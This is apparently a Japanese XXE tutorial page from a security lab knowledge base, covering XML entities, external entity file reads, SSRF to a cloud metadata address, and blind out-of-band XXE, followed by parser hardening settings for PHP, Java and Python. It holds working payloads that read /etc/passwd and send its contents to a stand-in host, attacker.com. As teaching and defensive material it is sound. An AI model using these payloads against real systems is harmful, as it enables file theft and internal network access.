utsuroi xxe labs知識ベース 01 / 01
XML External Entity · Knowledge Base
01

XXE の基礎

When XML parsers fetch what attackers tell them to

XML には「実体参照(Entity)」という機能があり、ドキュメント内で再利用できる文字列やファイル内容を定義できます。「外部実体(External Entity)」を有効にした XML パーサは、攻撃者が指定した URL やファイルパスをパーサ自身が fetch してしまいます。

1. XML 実体参照とは #xml-entity

XML 内で再利用可能な文字列/データを定義する仕組み。
<!DOCTYPE foo [
  <!ENTITY company "うつろい株式会社">
]>
<invoice>
  <name>&company;</name>  <!-- 「うつろい株式会社」に展開される -->
</invoice>

HTML の &amp;&lt; 等も実体参照の一種(あらかじめ定義済み)。

2. 外部実体の危険性 #external-entity

SYSTEM キーワードで「外部リソース」を実体定義に使える。
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<invoice>
  <name>&xxe;</name>
</invoice>

パーサがこれを処理すると &xxe;/etc/passwd の内容に置き換わり、最終的にレスポンスやログに混入します。SSRF と同じく内部ネットワークへの到達も可能(SYSTEM "http://169.254.169.254/...")。

3. 攻撃ベクトル #attack-vectors

4. Blind XXE #blind-xxe

レスポンスが返らなくても外部 DTD で抽出可能。

多くのアプリは XML 解析エラー時にスタックトレースをそのまま返さない。それでも、外部 DTD を読みに行く XML パーサに対しては、攻撃者がコントロールするドメインに DTD を置いて、ファイル内容を URL の一部として送信させることができる。

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/oob.dtd">
  %dtd;
]>

外部 DTD oob.dtd 側で、%file; の値を URL に組み込んで http://attacker.com/?data=%file; へリクエストを発生させる。攻撃者のサーバログに /etc/passwd の中身が記録される。

5. 正しい防御 #defense

外部実体を無効化するのが基本。

多くの XML パーサで、外部実体の無効化はオプションで切り替えられます。明示的に無効化することが必要(デフォルトで安全な実装も最近は増えていますが、依然としてレガシーパーサは有効になっている場合がある)。

// PHP - libxml
libxml_disable_entity_loader(true);  // PHP 8.0 以降はデフォルトで無効

// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

そもそも XML を使う必然性がない場合は JSON に置き換えるのも有効な対策。XML は機能が豊富すぎる結果として、設定ミスで攻撃面が広がるリスクが高い。